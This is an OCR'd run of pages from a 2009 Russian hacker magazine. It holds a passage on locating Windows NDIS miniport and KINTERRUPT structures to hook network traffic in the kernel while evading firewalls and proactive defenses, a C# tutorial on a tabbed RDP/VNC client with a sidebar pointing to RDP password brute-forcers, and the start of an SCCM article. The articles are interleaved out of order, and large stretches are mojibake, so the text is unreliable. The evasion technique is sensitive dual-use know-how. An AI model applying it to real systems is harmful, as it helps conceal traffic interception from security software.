с сетью на низком уровне (на уровне сетевой карты). Описание ее полей 
ты можешь найти в хидере «ndis.h», но надежнее будет сдампить ее 
из файла символов ndis.pdb утилитой типа pdbdump (http://pdbdump.
sourceforge.net), потому что ее структура может меняться от билда к билду 
ОС и сильно зависит от версии NDIS. В этой статье подразумевается ис-
пользование NDIS версии 5.1.
Тем не менее, решая, например, задачи фильтрации, мелкомягкие 
товарищи строго рекомендуют ограничиваться «законными» и докумен-
тированными способами фильтрования сетевого трафика, поскольку 
эта структура критически важна для жизнедеятельности ОС Windows и 
лишний раз ее трогать не стоит. Но запретный плод сладок. Поэтому ска-
жу с уверенностью, что все самое вкусное для хакера содержится именно 
в NDIS_MINIPORT_BLOCK. К примеру — функция PacketIndicateHandler, 
которая уведомляет драйвер протокола, что массив полученных пакетов 
доступен для дальнейшей обработки, и передает ей указатель на данный 
массив.
«Так почему бы не получить указатель на этот самый NDIS_MINIPORT_
BLOCK и дальше работать с ним?», — спросишь ты. Вся загвоздка в 
том, что для этого нужно совершить очень много телодвижений в ядре 
Windows. Они больше напоминают танец слона в посудной лавке, что, 
естественно, не пройдет незамеченным для файрвола. Скажем, извест-

ный легальный способ получения такого указателя в обобщенном виде 
сводится к вызову NDIS-функции NdisRegisterProtocol, — она всегда 
перехватывается файрволами, проактивными защитами и антивируса-
ми всех мастей. Что же нам делать?

В ПОИСКАХ УТРАЧЕННОГО KINTERRUPT’А
Если уж не дают пощупать минипорт напрямую, то... поговорим о пре-
рываниях. Да-да, именно о прерываниях. Речь пойдет не о прямом пере-
хвате прерывания для сетевого адаптера, — мы копнем гораздо глубже. 
Как ты знаешь, все прерывания в ОС Windows представлены в ядре 
в виде таблицы дескрипторов (векторов) прерываний IDT(Interrupt 
Descriptor Table). При генерировании прерывания ядро просматривает 
IDT и по номеру прерывания передает управление по адресу, соответ-
ствующему номеру прерывания. Просмотреть IDT можно, к примеру, 
через отладчик WinDBG при помощи команды «!idt –a» — она выведет на 
экран дамп IDT.
Программным способом загрузка IDT осуществляется вызовом ассем-
блерной команды sidt и может выглядеть так:

ДАМПИМ IDT

typedef struct _IDT{

 WORD wLimit;

 DWORD dwBase;

}IDT, *PIDT;

VOID GetIDT(OUT PIDT pIdt){

  __asm

    {

 MOV EAX, [pIdt]

 SIDT     [EAX]

    }

}

Думаю, код понятен без слов: мы получили IDT во всей красе. Но что даль-
ше? Если приглядеться внимательнее, то можно увидеть, что на самом 
деле при вызове прерывания система не вызывает функцию прерыва-
ния «железки» напрямую — прежде она должна позаботиться о многих 
других вещах. Система так и делает путем начального вызова функции 
KiInterruptTemplate. 
Архитектура ОС Windows подразумевает, что при вызове системной 
функции KiInterruptTemplate система должна сохранить контекст 
потока и только затем вызвать функцию обработки прерывания 
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На диске лежат ис-
ходники драйверов, 
реализующих приемы 
программирования, 
исследуемые 
в статье, а также тул-
зы, которые помогут 
тебе в изучении ядра. 

dvd

DVD

Чтобы лучше 
ориентироваться 
в ядрокопании на 
сетевом уровне и не 
только, советую сете-
вой журнал Phrack за 
номером 0x41. А для 
лучшего понимания 
работы системного 
механизма DPC, 
рекомендую статью 
«Advanced DPCs» 
М.Руссиновича 
(http://technet.
microsoft.com).

links
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KiDispatchInterrupt, которой в качестве параметра будет 
передан сохраненный указатель на «объект прерыва-
ния», представленный очень интересной структурой 
KINTERRUPT.
И только затем передается управление ISR той «железки», 
которая сгенерировала прерывание. Если диззасембли-
ровать функцию KiInterruptTemplate, то именно это мы и 
увидим.
Плясать будем от структуры KINTERRUPT, тем более, она 
встречается как в NDIS 5.1, так и в NDIS 6.0  и для завладе-
ния ядром нам нужно получить указатель на нее. Как этого 
добиться?
Проще всего — по полученному указателю на функцию 
KiInterruptTemplate (часто это и есть выдранный адрес из 
IDT), диззассемблировать его на предмет поиска инструк-
ции «mov edi, PKINTERRUPT». Если найдем, то далее 
можно сделать следующее: запомнить адрес KINTERRUPT 
и переходить ко второму способу (описанному ниже) либо 
заменить реальный KINTERRUPT на свой собственный, 
подменив ту самую функцию DpcForIsr — функцию от-
ложенной обработки прерывания. Так мы получим доступ к 
данным, пришедшим по сети. Здесь рассматривать способ 
подмены DpcForIsr мы не будем из-за его громоздкости. 
Более подробно о нем можно прочитать в статье «Stealth 
Hooking: another way to subvert the Windows kernel» (http://
phrack.org).
На случай, если мы не нашли KINTERRUPT минипорта се-
тевого адаптера, самое время вспомнить, что помимо всего 
прочего, в ядре существует переменная InterruptListEntry. 
Она представляет собой круговой список LIST_ENTRY, 
содержащий в себе все указатели на зарегистрирован-
ные в системе структуры KINTERRUPT. Достаточно найти 
первый попавшийся, а далее — ULONG KINTERRUPTLink 
= (ULONG)&(((PKINTERRUPT)(AddressHandler))-
>InterruptListEntry), где AddressHandler есть адрес любой 
структуры KINTERRUPT в системе.
Ну и как вариант напоследок — можно в ядре перехватить 
и дизассемблировать функцию обработки прерываний 

KiDispatchInterrupt; ей в качестве одного из параметров 
передается указатель на KINTERRUPT. Это отнюдь не легкий 
способ, поскольку требует отличного знания работы систе-
мы прерываний в ядре Win. 
Вот, в принципе, и все. После нахождения одним из приве-
денных способов KINTERRUPT, относящегося к прерыва-
нию сетевого адаптера, можно считать, что сетевая карта у 
нас в кармане.

УДАЛЕНИЕ ГЛАНД ЧЕРЕЗ…
Итак, мы овладели KINTERRUPT. Заметь, не сделали при 
этом ничего такого, что могло бы привлечь внимание бди-
тельных проактивок. Что дальше?
Если Мухаммед не идет к горе, значит, гора идет к Мухам-
меду. Так поступим и мы, чтобы заполучить вожделенный 
NDIS_MINIPORT_BLOCK.
В ядре Windows значительное количество классов элемен-
тов представлены в виде устройств (да, девайсов), причем 
это касается не только физических устройств, но и устройств 
виртуальных. Тип «устройство», к примеру, имеют такие 
эфемерные вещи, как протоколы сети — TCP, IP, UDP — вид 
«\Device\Tcp». Просмотреть список девайсов, зарегистри-
рованных в системе, можно с помощью замечательной 
утилиты «Windows Object Explorer» от Four-F.
Едем дальше. Находясь в незнакомой обстановке и не зная 
имени основного сетевого девайса, соответствующего 
сетевой карте, минипорт найти будет довольно сложно. Но, 
комбинируя приведенные здесь способы, можно с опреде-
ленной долей везения все же добиться своего.
Реализуем следующий алгоритм: сначала находим все за-
регистрированные девайсы в системе, открыв директорию 
«\Device». В цикле получаем указатели на девайсы вызовом 
ObOpenObjectByName; по полученному указателю вызовом 
ObReferenceObjectByHandle и IoGetDeviceObjectPointer 
получаем указатель на DEVICE_OBJECT, а затем оставляем 
те, которые имеют тип, равный 0х17, то есть FILE_DEVICE_
PHYSICAL_NETCARD. Таким образом, мы получим все 
устройства, относящиеся к сетевому интерфейсу систе-

ISR ДРАЙВЕРА СЕТЕВОЙ КАРТЫ И 
ЕЕ KINTERRUPTТАБЛИЦА ПРЕРЫВАНИЙ IDT
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Обязательно со-
ветую установить 
VisualDDK, которая 
здорово помогает 
при разработке 
драйверов (http://
sourceforge.net/
projects/visualddk). 
Ее ты также сможешь 
найти на диске.
Если есть вопросы — 
пиши, обсудим.

мы. Оговорюсь сразу, девайсов с типом FILE_DEVICE_
PHYSICAL_NETCARD в системе, как  правило, несколько и, 
чтобы найти нужный, придется их отфильтровывать. Напри-
мер, по имени драйвера, которое хранится в поле DRIVER_
OBJECT.DriverName по смещению DEVICE_OBJECT + 0x8. А 
вот уже дальше, скомбинировав полученные ранее знания, 
можно найти нужный нам минипорт. Все дело в том, что 
правила дизайна WDM (Windows Driver Model) требуют от 
разработчика драйверов создания некой структуры под 
названием «Device Extension», где программист должен 
хранить переменные, поля и структуры, описывающие ту 
или иную «железку», под которую пишется драйвер. 
Если присмотреться, то в структуре DEVICE_OBJECT по 
смещению 0x28 имеется поле типа void*, которое, собствен-
но, и указывает на созданную разработчиком структуру 
DeviceExtension. Только не следует ее путать с «официально 
прикрепленной» структурой DEVOBJ_EXTENSION, которая 
идет далее, по смещению 0хb0. Что это нам даст? А теперь 
внимание: как непреложное правило, разработчики в ука-
занной структуре сохраняют полученный в ходе инициали-
зации минипорта указатель на структуру NDIS_MINIPORT_
INTERRUPT (который возвращается вызовом функции 
NdisMRegisterInterrupt). Если в свою очередь посмотреть 
на эту структуру, то мы увидим, что по смещению 0x34 на-
ходится искомый указатель на NDIS_MINIPORT_BLOCK. 
Причем тут полученный ранее адрес KINPTERRUPT? Если 
еще раз глянуть на NDIS_MINIPORT_INTERRUPT, то легко 
увидеть, что первое поле в этой структуре и есть указатель 
на KINTERRUPT. Выходит, найдя разыменованный адрес 
KINTERRUPT, можно заполучить указатель на NDIS_
MINIPORT_INTERRUPT… а дальше — все просто: добавляем 

0x34 и получаем указатель на NDIS_MINIPORT_BLOCK.
Подведя черту вышеизложенному бреду воспаленного со-
знания, мы получим финальный алгоритм: ищем указатель на 
DEVICE_OBJECT с типом FILE_DEVICE_PHYSICAL_NETCARD, 
находим указатель на DeviceExtension и, начиная с данного 
адреса, шаримся по памяти в поисках разыменованного 
PKINTERRUPT, полученного одним из вышеприведенных 
способов. Если находим — радостно идем пить пиво. Если 
нет — что же, может быть, сегодня не день Бэкхема.

ЗАКЛЮЧЕНИЕ
Не скрою, способ сложнореализуем, ненадежен и требует 
определенной доработки. К тому же, он годится только для 
драйверов минипорта версии NDIS 5.1. Если ты использу-
ешь Vista, там уже будет вызов NdisMRegisterInterruptEx, 
который действует немного по-другому. Но об этом мы 
поговорим позже. В связи с довольно большим объемом 
кода, приводить его здесь непрактично, поэтому драйвер, 
реализующий указанный прием, ищи на диске.
Что же мы получили в результате? Мы получили большой 
бонус — драйвер, способный перехватывать и контролиро-
вать сетевые операции в ядре и корректировать их по мере 
необходимости. При этом мы не затронули те критически 
важные для операционной системы вещи, которые обычно 
контролируются проактивными защитами. Получилось не 
только очень элегантно, но вполне работоспособно. Я не 
ставил целью предоставить тебе готовое решение, а лишь 
хотел показать, что даже в самых суровых условиях можно 
найти для своей программы способ выживания в системе. 
Все, что для этого нужно — задать себе вопрос: «А что, 
если...?». Удачи! z
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Рассматриваемый 
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В Windows Vista эти 
приемы работать не 
будут.
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На моей основной работе мне приходится заниматься администриро-
ванием серверов и рабочих станцией, работающих под управлением 
Windows/Linux. К серверам я привык подключаться через стандарт-
ный RDP, а для соединения с рабочими местами пользователей чаще 
предпочитаю использовать одну из модификаций VNC. 

Ф
ункциональность RDP и VNC меня полностью удовлет-
воряет, за исключением одного «но». При интенсивной 
работе мой рабочий стол захламляется копиями при-
ложений TightVNC и mstsc. Бывает, работаешь с тремя 

серверами, а тут тебе звонит пользователь и слезно просит помочь. 
Хочется или нет, а приходится сворачивать окна mstsc и запускать кон-
соль TightVNC. В результате, рабочий стол быстро превращается в хаос, 
состоящий из открытых окон mstsc и TightVNC. Найти в таком бардаке 
окно с нужным сеансом крайне проблематично.
Однажды меня все это окончательно достало, и я решил во что бы то ни 
стало исправить ситуацию. Что из этого получилось, ты узнаешь по ходу 
чтения этой статьи.     

ПУТЬ СМЕРТНОГО
Пожалуй, самым простым способом решения проблемы будет поиск и 
внедрение готового клиента-комбайна, поддерживающего протоколы 
RDP и VNC. Способ, несомненно, хорош, а главное, времени на его реа-
лизацию практически не тратится. Утилит пруд пруди, успевай только 

выбирать. Но, отдавая предпочтение готовому софту, ты автоматически 
становишься обладателем всех его плюсов и минусов. Среди основ-
ных минусов обычно выступает цена. Продвинутый софт стоит денег, а 
бесплатный редко обладает всеми необходимыми функциями. В свое 
время меня это не устроило, и я решил пойти по нетоптаной дорожке.

ПУТЬ ДЖЕДАЯ
Вооружившись сишарпом, я задумал создать клиент, способный под-
держивать подключения по протоколам RDP и VNC. Решить проблему 
открытых окон я запланировал с помощью хорошо проверенного метода 
— использования вкладок. А что? Все WEB-браузеры, в том числе и 
хромой ослик ИА, открывают новые страницы в отдельном табе. Юзеры 
фичей довольны, и уже ни одного из них не заставишь от нее отказаться.  
Тем более, в заголовке таба можно прописывать название сервера.

RDP
Для организации поддержки протокола RDP обратимся за помощью 
к Com-компоненту — Microsoft RDP Client. Пользоваться компонен-

АДМИНИМ 
ПО-КОДЕРСКИ
Массовое производство RDP и VNC клиентов
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том чрезвычайно просто и, что немаловажно, удобно. К тому же, он 
установлен в каждой системе, поэтому заботиться о его поставке тебе 
не придется.
Чтобы воспользоваться возможностями компонента, тебе необхо-
димо добавить его на панель выбора элементов. Делается это через 
окно «Выбор элементов панели инструментов  COM-компоненты». 
В представленном списке компонент отметь флажком Microsoft RDP 
Client Control. На панели выбора элементов, как и следовало ожидать, 
появится новый компонент.
Для демонстрации возможностей компонента я накидал про-
стенький демонстрационный пример. Давай поглядим на методы 
и свойства недавно установленного компонента. Начнем наше 
знакомство со свойств:

Connected — åñëè ñîåäèíåíèå ñ óäàëåííûì ðàáî÷èì ñòîëîì 

óñòàíîâëåíî, òî çäåñü áóäåò 1

ColorDepth — ïàëèòðà öâåòîâ. Ìîæåò ïðèíèìàòü ñëåäóþùèå 

çíà÷åíèÿ: 8, 15, 16, 24, 32

Server — àäðåñ óäàëåííîãî ñåðâåðà. Îäèíàêîâî âîñïðèíèìà-

åò êàê ñèìâîëüíûå èìåíà, òàê è IP-àäðåñ

UserName — èìÿ ïîëüçîâàòåëÿ

AdvancedSettings2.ClearTextPassword — ïàðîëü

AdvancedSettings2.RDPPort — íîìåð ïîðòà

DesktopWidth — øèðèíà óäàëåííîãî ðàáî÷åãî ñòîëà

DesktopHeight — âûñîòà óäàëåííîãî ðàáî÷åãî ñòîëà

FullScreen — ïîëíîýêðàííûé ðåæèì

RedirectPrinters — ïåðåîïðåäåëÿòü ïðèíòåðû. Åñëè true, 

òî ïðè îòïðàâêå äîêóìåíòà íà ïå÷àòü ñ óäàëåííîé ìàøèíû, 

îí áóäåò ïå÷àòàòüñÿ íà òâîåì ïðèíòåðå

RedirectSmartCards — ïåðåîïðåäåëÿòü ñìàðò-êàðòû

RedirectPorts — ïåðåîïðåäåëÿòü ïîðòû

Со свойствами разобрались, перейдем к методам. Из всех имеющихся 
нас интересуют лишь два: Connect() и Disconnect(). Полагаю, пояснять, 
для чего они нужны, необходимости нет. 
Помимо свойств и методов, как и у любого другого компонента, у MS 
RDP Client Control имеется целая пачка событий. Здесь рассматривать 
не буду, поскольку об их предназначении нетрудно догадаться по на-
званию. 
Теорией мы заправились, а раз так, самое время переходить к практике! 
Рассмотрим код:

 ПОДКЛЮЧАЕМСЯ К RDP

RdpClient.Server = textBox1.Text.Trim();

RdpClient.AdvancedSettings2.ClearTextPassword =

   textBox3.Text.Trim();

RdpClient.UserName = textBox2.Text;

// RdpClient.Domain = "Äîìåí";

// RdpClient.FullScreen = true;

switch (comboBox1.SelectedIndex)

{

      case 0: RdpClient.ColorDepth = 15;

         break;

      case 1: RdpClient.ColorDepth = 16;

         break;

      case 2: RdpClient.ColorDepth = 24;

         break;

      case 3: RdpClient.ColorDepth = 32;

        break;

 }

 switch (comboBox2.SelectedIndex)

 {

      case 0:

       RdpClient.DesktopWidth = 640;

            RdpClient.DesktopHeight = 480;

            break;

      case 1:

            RdpClient.DesktopWidth = 800;

            RdpClient.DesktopHeight = 600;

            break;

      case 2:

            RdpClient.DesktopWidth = 1024;

            RdpClient.DesktopHeight = 768;

УСТАНОВКА СОЕДИНЕНИЯ С СЕРВЕРОМ VNC

string remoteHost = TextBox1.Text;

int remotePort = Convert.ToInt32(TextBox2.Text);

try {

   remoteDesktop1.VncPort = remotePort;

   remoteDesktop1.Connect(remoteHost, 

      false, true);

}

catch (VncProtocolException vex) {

   MessageBox.Show(string.Format("Íåâîçìîæíî 

óñòàíîâèòü ñîåäèíåíèå: {0}", vex.Message));

}

НЕРАССМОТРЕННЫЕ МЕТОДЫ REMOTEDESCTOP

• IsConnected — âîçâðàùàåò true, åñëè ñîåäèíåíèå ñ óäàëåííûì 
êîìïüþòåðîì óñòàíîâëåíî;
• Disconnect — âûïîëíÿåò îòêëþ÷åíèå îò óäàëåííîé ìàøèíû;
• SetScalingMode (bool scaled) — åñëè â êà÷åñòâå åäèíñòâåííîãî 
ïàðàìåòðà ïåðåäàåì true, òî áóäåò óñòàíîâëåí ðåæèì ìàñøòàáè-
ðîâàíèÿ;
• FullScreenUpdate() — ïîëíîýêðàííûé ðåæèì;
• FillServerClipboard() — ïåðåíîñ ñîäåðæèìîãî áóôåðà îáìåíà ñ 
ëîêàëüíîé ìàøèíû íà óäàëåííóþ.
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            break;

      case 3:

            RdpClient.DesktopWidth = 1120;

            RdpClient.DesktopHeight = 700;

            break;

      case 4:

            RdpClient.DesktopWidth = 1280;

            RdpClient.DesktopHeight = 1024;

            break;

}

RDPCLIENT.CONNECT();
Весь процесс установки связи с удаленным хостом сводится к заполне-
нию свойств компонента RdpClient и вызову метода Connect(). В случае, 
когда вся введенная инфа корректна, подключение будет установлено, 
а если нет — вылетит экспешн. 
Замечу, что в этом коде я не делал обработку ошибок. В реальном при-
ложении она необходима. Попробуй реализовать их самостоятельно, 
а если не получится, не отчаивайся. После того, как мы разберем по 
косточкам работу с VNC, ты сможешь сделать обработку экспешнов по 
аналогии.
Итак, разбор практики RDP можно считать оконченным. В принципе, 
уже можно переходить к рассмотрению VNC, но сначала мне бы хотелось 
рассказать еще об одном около-rdp’шном нюансе. 
Те, кто юзает стандартный RDP-клиент, наверняка, привыкли создавать 
ярлыки (правильнее сказать, файлы настроек) для быстрого подключе-
ния к нужному серверу. У меня таких ярлыков штук 13. Пользоваться ими 
удобно — кликнул и подключился к нужному серверу. Но вот при пере-
ходе на свой собственный клиент я испытал реальные трудности — либо 
вбивать в свою прогу параметры подключения для всех этих 13 машин 
самостоятельно, либо предусмотреть возможность импорта настроек из 
сохраненных файлов. Первый вариант не особо привлекал, поэтому я 
сразу решил заняться реализацией второго. Сначала я думал, что будет 
много сложностей, но, как оказалось, любители C# уже проделали рабо-
ту вместо меня и запечатлели свои труды в классе RDPFileReader.
Этот класс позволяет как читать файлы настроек, так и создавать новые. 
Воспользовавшись им, ты сделаешь свою программу универсальной. 
Все старые файлы настроек можно импортировать, а если необходима 
передача параметров соединения кому-либо из пользователей — пред-
усмотреть экспорт. Причем производить экспорт именно в стандартный 
файл настроек, который без проблем поймет встроенный в Windows 
rdp-клиент. Все, не буду тебя томить, взгляни лучше на пример чтения 
произвольного файла настроек:

OpenFileDialog myOpenFileDialog;

myOpenFileDialog = new OpenFileDialog();

myOpenFileDialog.Filter = "RDP File|*.rdp";

myOpenFileDialog.Title = "Âûáîð ôàéëà ñ íàñòðîéêàìè RDP";

myOpenFileDialog.ShowDialog();

if (myOpenFileDialog.FileNames.Count() > 0) {

     RDPFile MyRdpFile = new RDPFile();

     MyRdpFile.Read(myOpenFileDialog.FileName);

     //Îáðàáîòêà ñâîéñòâ îáúåêòà MyRdpFile

}

В этом небольшом куске кода я вызываю стандартный диалог открытия 
файлов. Если пользователь выбрал файл, то мне ничего не остается, 
кроме как создать экземпляр объекта типа RDPFile и выполнить его 
метод Read(). В качестве параметра методу надо передать путь к файлу, 
который и нужно читать. Завершив чтение, поля объекта MyRdpFile 
будут заполнены данными из файла. Например:

• AudioMode — ðåæèì àóäèî

• Domain — äîìåí

• FullAddress — àäðåñ ñåðâåðà

• Password — ïàðîëü

• RedirectComPorts — ïåðåîïðåäåëÿòü Com-ïîðòû

• Username — èìÿ ïîëüçîâàòåëÿ

• DesktopHeight — âûñîòà ðàáî÷åãî ñòîëà

• DesktopWidth — øèðèíà ðàáî÷åãî ñòîëà

• è ò.ä.

VNC
Сделать поддержку VNC несколько сложнее. Протокол создан не в не-
драх MS, а, следовательно, весь кодинг ложится сугубо на твои плечи. 
Не стоит раньше времени переживать и думать, что протокол придется 
описывать с нуля. Уже создано немало различных клиентов (в том числе 
и OpenSource), в которых можно подсмотреть код и перенести его на 
нужный нам язык программирования.
Народные умельцы уже проработали вопрос и оформили результат в 
виде компонента для моего любимого C#. Все, что от нас требуется — 
подключить его к Visual Studio и написать несколько нехитрых строчек 
кода. 
Итак, отправляйся на http://cdot.senecac.on.ca/projects/vncsharp и 
сливай последнюю версию компонента. Он доступен как в исходных 
текстах, так и в виде готовой библиотеки dll. Мне больше нравится ра-
ботать с исходниками, поскольку при необходимости у тебя всегда будет 
возможность внести изменения. Мой выбор — это архив с исходником и 
самостоятельная компиляция.
Если ты тоже отдал предпочтению архиву с исходными текстами, то 
открывай сорцы в Visual Studio и приступай к компиляции. У меня она 
прошла без ошибок. Искать дополнительные библиотеки не пришлось. 
Если у тебя также все ОК, то на выходе ты должен получить библиотеку с 
именем VncSharp.dll.
Закрывай в студии открытые ранее сорцы компонента VncSharp и 
создавай новый проект типа Windows Forms Application. Сейчас мы 
подключим скомпилированный ранее компонент. Для этого выполни 
несколько простых шагов:
1. Открой панель элементов и кликни на ней правой кнопкой мыши.
2. В контекстном меню выбери пункт «Выбрать элементы/choose 
elements».
3. В появившемся окне клацни по кнопке «Обзор» и выбери получив-
шуюся в результате компиляции библиотеку.
4. Кликай Ok, а затем найди на панели элементов новый компонент 
RemoteDesktop и кинь его на форму.

CODING
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z-СОВЕТ

Íà îñíîâå ïîëó÷åííûõ çíàíèé òû áåç ïðîáëåì ñìîæåøü íàïèñàòü 
ïîëåçíûå â õàêåðñêîì äåëå óòèëèòû — áðóòôîðñåðû. Íàïðèìåð, 
ñîâñåì íåäàâíî â íàøåì æóðíàëå áûë ðàññêàç îá óòèëèòå, êîòîðàÿ 
ïîäáèðàåò ïàðîëü ê RDP. Â åå îñíîâå êàê ðàç ëåæàëà òåõíîëîãèÿ, 
êîòîðóþ ìû ñåãîäíÿ ðàçîáðàëè. Òàê ÷òî, ìîòàé íà óñ è íå ðàñ-
ñëàáëÿéñÿ.

РАЗРАБОТКА В САМОМ РАЗГАРЕ



Считай, что после установки компонента на форму полдела уже сде-
лано. Остается лишь заполнить пару полей и выполнить несколько 
методов. Для лучшей демонстрации работы с VNC я набросал не-
большой проект. Его форму ты можешь увидеть на соответствующем 
рисунке.
Для установки соединения с серверной частью VNC тебе необходимо вы-
полнить метод Connect компонента RemoteDesktop. Метод описан так:

Void Connect(string host, bool ViewOnly, bool scaled);

Принимает он целых три параметра:
• host — адрес удаленного хоста. Можешь указывать здесь либо ip-
адрес, либо символьное имя.
•viewOnly — режим отображения удаленного рабочего стола. Если пере-
дать в этом параметре true, то удаленный десктоп будет доступен лишь 
для просмотра. Все клики мышкой или нажатия клавиш на клавиатуре 
будут игнорироваться.
• scaled — масштабирование. Передаем true — получаем масшабиро-
ванное изображение.
Код установки соединения из моего примера ты можешь увидеть на 
врезке.
Код второй врезки прост до безобразия и вряд ли требует детальных 
пояснений. Все, что в нем происходит — заполнение необходимых 
полей и вызов метода Connect, а также обработка эксепшн типа 
VncProtocolException.
При удачном раскладе в компоненте RemoteDesktop отобразится 
содержимое удаленного рабочего стола. Внимательно посмотрев 
на листинг, ты, наверное, заметил, что в коде нигде не видно пере-
дачи пароля. А ведь известно, что на подключение к серверной ча-
сти может требоваться пасс. Тогда почему мы нигде не обрабатыва-
ем эту ситуацию? Дело в том, что компонент берет эту обязанность 
на себя. В случае если требуется ввод пассворда, он автоматически 
сгенерирует окно запроса пароля. Не устраивает такой подход? 
Не проблема! Объяви функцию, которая будет возвращать пароль 
(можешь даже организовать хранилище паролей в базе данных) и 
передавать его в свойство GetPassword объекта RemoteDesktop 
(смотри исходник).
Так, подключаться мы научились. Теперь рассмотрим самый послед-
ний момент работы с VNC и двинемся дальше. При администрирова-
нии удаленных систем периодически нам требуется послать сочета-
ние нескольких клавиш. Типичный пример — <Ctrl + Alt + Del>. Если 
попробовать их тупо нажать, хорошего ничего не произойдет. Все, 
что ты увидишь — запуск на локальном компьютере таск менеджера. 
Исправить положение дел поможет метод SendSpecialKeys(). Его 
описание выглядит так:

void SendSpecialKeys(SpecialKeys keys, bool release);

Метод принимает аж два параметра:
• keys — значение из перечисления типа SpecialKeys. В качестве значе-
ний могут быть:

• Alt

• AltF4

• Ctrl

• CtrlAltDel

• CtrlEsc

• realese — освобождать клавишу или нет.
Получается, что для отправки сочетания трех клавиш от всех бед тебе 
требуется выполнить всего одну строчку кода:

RemoteDesctop1.SendSpecialKeys(

   SpecialKeys.CtrlAltDel);

На этом знакомство с компонентом для работы с VNC можно считать 
оконченным. Хочу обратить внимание на то, что я рассмотрел не все ме-
тоды компонента RemoteDesktop. Те, что остались за кадром — доступны 
во врезке.

ДЕЛАЕМ ЗАКЛАДКИ
Работать с обоими протоколами мы научились как в теории, так и на 
практике. Остается посмотреть на процесс создания табов для каждого 
удаленного рабочего стола. 
Как ты уже мог догадаться, все новые табы должны создаваться во 
время работы приложения (RunTime). Код создания очередной вкладки 
будет выглядеть примерно так:

TabPage NewPage = new TabPage();

NewPage.Text = "Íîâàÿ âêëàäêà";

RemoteDesktop NewRemoteDesctop = new RemoteDesktop();

NewPage.Controls.Add(NewRemoteDesctop);

tabControl1.TabPages.Add(NewPage);

Лучше сохранять ссылку на вновь созданную вкладку в каком-
нибудь контейнере. Потом будет намного удобней работать с боль-
шим количеством табов (например, выполнять поиск, сортировку 
и т.д.).

РАБОТА ОКОНЧЕНА! 
Для сегодняшнего примера мы выбрали C#, хотя могли писать и на Java, 
или на приплюснутом Си, но в этом случае так быстро создать рабочее 
приложение нам бы не удалось. Удачи тебе в кодинге, возникнут вопро-
сы — пиши на мыло, постараюсь помочь! z

 111XÀÊÅÐ  09  /129/  09

КОМПОНЕНТ REMOTEDESKTOP ГОТОВ К 
ИСПОЛЬЗОВАНИЮ

ПРОЕКТ ДЛЯ ДЕМОНСТРАЦИИ РАБОТЫ С VNC



XÀÊÅÐ  09  /129/  09 112  

System Center Configuration Manager 2007 обладает рядом полезных 
возможностей, позволяющих на порядок упростить жизнь IT-шнику. 
Сегодня рассмотрим самые интересные из них: научимся производить 
инвентаризацию аппаратных комплектующих и установленных про-
грамм, выполнять массовое развертывание приложений и удаленно  
управлять компьютерами сети.

Оружие массового 
управления

ДЕТАЛЬНЫЙ УЧЕТ КОМПЛЕКТУЮЩИХ 
И ПО Èíâåíòàðèçàöèÿ ïîä÷èíåííûõ êîìïîâ 
— îäíà èç êëþ÷åâûõ ôóíêöèé SCCM, êîòî-

ðàÿ ïîçâîëÿåò èìåòü ïîä ðóêîé àêòóàëüíóþ 
èíôîðìàöèþ î ñîñòîÿíèè êîìïüþòåðíîãî 

ïàðêà (òèï ïðîöåññîðà, êîëè÷åñòâî ÎÇÓ, 
äèñêè, ïåðèôåðèÿ, ÎÑ, óñòàíîâëåííûå 

ïðèëîæåíèÿ è ò.ä.), à òàêæå ïîëíóþ èñòîðèþ 
èçìåíåíèé. Íà îñíîâå ñîáðàííûõ äàí-

íûõ î÷åíü ïðîñòî ñîçäàâàòü êîëëåêöèè, 
íàïðèìåð, îòîáðàòü òîëüêî ñèñòåìû ñ 

îïðåäåëåííûì îáúåìîì ÎÇÓ. Íàïîìíþ, ÷òî 
ïîä êîëëåêöèåé â SCCM ïîíèìàåòñÿ ãðóïïà 
îáúåêòîâ (êîìïüþòåðû, ïîëüçîâàòåëè, ÎÑ), 
îáúåäèíåííàÿ ïî íåêîòîðîìó ïðèçíàêó 
(âåðñèÿ, çíà÷åíèå, ïðèíàäëåæíîñòü ê ãðóïïå 

èëè òèïó ò.ï.) Ïîñëå óñòàíîâêè â SCCM óæå 
åñòü íåñêîëüêî êîëëåêöèé, ãäå îáúåäèíåíû 
ñèñòåìû â çàâèñèìîñòè îò óñòàíîâëåííîé 

âåðñèè ÎÑ. Äîñòóïíî áîëüøîå êîëè÷åñòâî 
ãîòîâûõ îò÷åòîâ, îíè äàäóò îòâåò ïðàêòè÷åñ-
êè íà ëþáîé âîïðîñ ïî òåêóùåìó ñîñòîÿíèþ 
ñåðâåðîâ è ðàáî÷èõ ñòàíöèé (íà÷àëüñòâî 
áóäåò â âîñòîðãå).

Âñå âîçìîæíîñòè ïî ñáîðó äàííûõ ðåàëèçî-
âàíû â àãåíòàõ àïïàðàòíîé è ïðîãðàììíîé 
èíâåíòàðèçàöèè, êîòîðûå äîëæíû áûòü àê-

òèâèðîâàíû âî âðåìÿ óñòàíîâêè ñèñòåìû. 
Àãåíòû ñîáèðàþò èíôîðìàöèþ ñ êëèåíòñêèõ 
êîìïüþòåðîâ, îïðàøèâàÿ ðàçíûå èñòî÷íèêè 
— ðååñòð è êëàññû WMI (ìîæåò ñîîáùàòü äî 

1500 ñâîéñòâ îáîðóäîâàíèÿ). Ïðîñìîòðåòü 
òåêóùåå ñîñòîÿíèå àãåíòîâ è íàñòðîèòü èõ 
ðàáîòó ìîæíî, ïåðåéäÿ â «Ïàðàìåòðû ñàé-
òà — Àãåíòû êëèåíòà» (Site Settings — Client 
Agents). Äâàæäû ùåëêàåì ïî ÿðëûêó íóæ-
íîãî àãåíòà, óáåæäàåìñÿ, ÷òî àêòèâèðîâàí 
ôëàæîê «Âêëþ÷èòü èíâåíòàðèçàöèþ ...», è 
óêàçûâàåì ðàñïèñàíèå. Ïî óìîë÷àíèþ èí-
âåíòàðèçàöèÿ ïðîèçâîäèòñÿ ðàç â íåäåëþ; â 
çàâèñèìîñòè îò êîíêðåòíûõ óñëîâèé, ìîæíî 
óìåíüøèòü èëè óâåëè÷èòü ýòîò èíòåðâàë. 
Â àãåíòå àïïàðàòíîé èíâåíòàðèçàöèè òàê-
æå ïðèñóòñòâóåò âêëàäêà «Êîëëåêöèÿ MIF-

ôàéëîâ», — òàêèå ôàéëû èñïîëüçóþòñÿ äëÿ 
ðàñøèðåíèÿ âîçìîæíîñòåé àãåíòà. Ïðàâäà, 
àäìèíû ñî ñòàæåì àêòèâèðîâàòü åå íå ðåêî-
ìåíäóþò, òàê êàê â ýòîì ñëó÷àå SCCM áóäåò 
ïîëó÷àòü íåïðîâåðåííûå äàííûå, à çíà÷èò, 

